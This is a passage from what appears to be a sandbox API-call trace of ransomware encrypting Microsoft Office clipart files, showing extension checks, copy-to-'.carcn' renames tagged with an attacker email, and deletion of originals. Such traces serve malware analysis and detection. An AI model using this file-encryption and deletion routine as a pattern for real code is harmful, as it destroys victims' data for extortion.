4 [0300.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.781] lstrlenW (lpString=".xls") returned 4 [0300.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.781] lstrlenW (lpString=".xlsx") returned 5 [0300.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.781] lstrlenW (lpString=".ppt") returned 4 [0300.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.781] lstrlenW (lpString=".zip") returned 4 [0300.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.781] lstrlenW (lpString=".rar") returned 4 [0300.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.781] lstrlenW (lpString=".bz2") returned 4 [0300.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.781] lstrlenW (lpString=".7z") returned 3 [0300.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.781] lstrlenW (lpString=".dbf") returned 4 [0300.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.781] lstrlenW (lpString=".1cd") returned 4 [0300.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.781] lstrlenW (lpString=".jpg") returned 4 [0300.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.782] lstrlenW (lpString=".doc") returned 4 [0300.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.782] lstrlenW (lpString=".docx") returned 5 [0300.782] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.782] lstrlenW (lpString=".pdf") returned 4 [0300.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.782] lstrlenW (lpString=".xls") returned 4 [0300.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.782] lstrlenW (lpString=".xlsx") returned 5 [0300.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.782] lstrlenW (lpString=".ppt") returned 4 [0300.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.782] lstrlenW (lpString=".zip") returned 4 [0300.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.782] lstrlenW (lpString=".rar") returned 4 [0300.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.782] lstrlenW (lpString=".bz2") returned 4 [0300.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.782] lstrlenW (lpString=".7z") returned 3 [0300.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.782] lstrlenW (lpString=".dbf") returned 4 [0300.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.782] lstrlenW (lpString=".1cd") returned 4 [0300.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.783] lstrlenW (lpString=".jpg") returned 4 [0300.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.783] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.783] lstrlenW (lpString="DD01169_.WMF") returned 12 [0300.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.783] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=2020) returned 1 [0300.783] CloseHandle (hObject=0x358) returned 1 [0300.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0300.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.784] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.784] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0300.785] GetLastError () returned 0x0 [0300.785] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x7e4, lpOverlapped=0x0) returned 1 [0300.786] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x7f0, lpOverlapped=0x0) returned 1 [0300.787] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.787] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.787] SetEndOfFile (hFile=0x370) returned 1 [0300.787] CloseHandle (hObject=0x370) returned 1 [0300.787] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.788] SetEndOfFile (hFile=0x358) returned 1 [0300.808] CloseHandle (hObject=0x358) returned 1 [0300.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0300.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.809] lstrlenW (lpString=".doc") returned 4 [0300.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.809] lstrlenW (lpString=".docx") returned 5 [0300.809] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.809] lstrlenW (lpString=".pdf") returned 4 [0300.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.809] lstrlenW (lpString=".xls") returned 4 [0300.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.809] lstrlenW (lpString=".xlsx") returned 5 [0300.809] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.809] lstrlenW (lpString=".ppt") returned 4 [0300.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.809] lstrlenW (lpString=".zip") returned 4 [0300.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.809] lstrlenW (lpString=".rar") returned 4 [0300.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.809] lstrlenW (lpString=".bz2") returned 4 [0300.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.810] lstrlenW (lpString=".7z") returned 3 [0300.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.810] lstrlenW (lpString=".dbf") returned 4 [0300.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.810] lstrlenW (lpString=".1cd") returned 4 [0300.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.810] lstrlenW (lpString=".jpg") returned 4 [0300.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.810] lstrlenW (lpString=".doc") returned 4 [0300.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.810] lstrlenW (lpString=".docx") returned 5 [0300.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.810] lstrlenW (lpString=".pdf") returned 4 [0300.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.810] lstrlenW (lpString=".xls") returned 4 [0300.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.810] lstrlenW (lpString=".xlsx") returned 5 [0300.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.810] lstrlenW (lpString=".ppt") returned 4 [0300.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.810] lstrlenW (lpString=".zip") returned 4 [0300.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.810] lstrlenW (lpString=".rar") returned 4 [0300.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.810] lstrlenW (lpString=".bz2") returned 4 [0300.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.810] lstrlenW (lpString=".7z") returned 3 [0300.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.811] lstrlenW (lpString=".dbf") returned 4 [0300.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.811] lstrlenW (lpString=".1cd") returned 4 [0300.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0300.811] lstrlenW (lpString=".jpg") returned 4 [0300.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.811] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.811] lstrlenW (lpString="DD01170_.WMF") returned 12 [0300.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.811] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=2404) returned 1 [0300.811] CloseHandle (hObject=0x358) returned 1 [0300.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0300.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.812] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.812] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0300.812] GetLastError () returned 0x0 [0300.812] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x964, lpOverlapped=0x0) returned 1 [0300.813] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x970, lpOverlapped=0x0) returned 1 [0300.814] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.814] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.814] SetEndOfFile (hFile=0x370) returned 1 [0300.814] CloseHandle (hObject=0x370) returned 1 [0300.814] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.814] SetEndOfFile (hFile=0x358) returned 1 [0300.815] CloseHandle (hObject=0x358) returned 1 [0300.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0300.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.816] lstrlenW (lpString=".doc") returned 4 [0300.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.816] lstrlenW (lpString=".docx") returned 5 [0300.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.816] lstrlenW (lpString=".pdf") returned 4 [0300.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.816] lstrlenW (lpString=".xls") returned 4 [0300.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.816] lstrlenW (lpString=".xlsx") returned 5 [0300.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.816] lstrlenW (lpString=".ppt") returned 4 [0300.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.816] lstrlenW (lpString=".zip") returned 4 [0300.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.816] lstrlenW (lpString=".rar") returned 4 [0300.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.816] lstrlenW (lpString=".bz2") returned 4 [0300.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.816] lstrlenW (lpString=".7z") returned 3 [0300.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.816] lstrlenW (lpString=".dbf") returned 4 [0300.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.816] lstrlenW (lpString=".1cd") returned 4 [0300.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.816] lstrlenW (lpString=".jpg") returned 4 [0300.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.816] lstrlenW (lpString=".doc") returned 4 [0300.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.817] lstrlenW (lpString=".docx") returned 5 [0300.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.817] lstrlenW (lpString=".pdf") returned 4 [0300.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.817] lstrlenW (lpString=".xls") returned 4 [0300.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.817] lstrlenW (lpString=".xlsx") returned 5 [0300.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.817] lstrlenW (lpString=".ppt") returned 4 [0300.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.817] lstrlenW (lpString=".zip") returned 4 [0300.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.817] lstrlenW (lpString=".rar") returned 4 [0300.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.817] lstrlenW (lpString=".bz2") returned 4 [0300.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.817] lstrlenW (lpString=".7z") returned 3 [0300.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.817] lstrlenW (lpString=".dbf") returned 4 [0300.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.817] lstrlenW (lpString=".1cd") returned 4 [0300.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0300.817] lstrlenW (lpString=".jpg") returned 4 [0300.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.817] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.817] lstrlenW (lpString="DD01171_.WMF") returned 12 [0300.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.818] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=2052) returned 1 [0300.818] CloseHandle (hObject=0x358) returned 1 [0300.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0300.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.818] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.818] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0300.819] GetLastError () returned 0x0 [0300.819] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x804, lpOverlapped=0x0) returned 1 [0301.318] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x810, lpOverlapped=0x0) returned 1 [0301.319] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.319] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.319] SetEndOfFile (hFile=0x370) returned 1 [0301.319] CloseHandle (hObject=0x370) returned 1 [0301.319] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.319] SetEndOfFile (hFile=0x358) returned 1 [0301.320] CloseHandle (hObject=0x358) returned 1 [0301.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0301.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.321] lstrlenW (lpString=".doc") returned 4 [0301.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString=".docx") returned 5 [0301.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.321] lstrlenW (lpString=".pdf") returned 4 [0301.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString=".xls") returned 4 [0301.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.321] lstrlenW (lpString=".xlsx") returned 5 [0301.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.321] lstrlenW (lpString=".ppt") returned 4 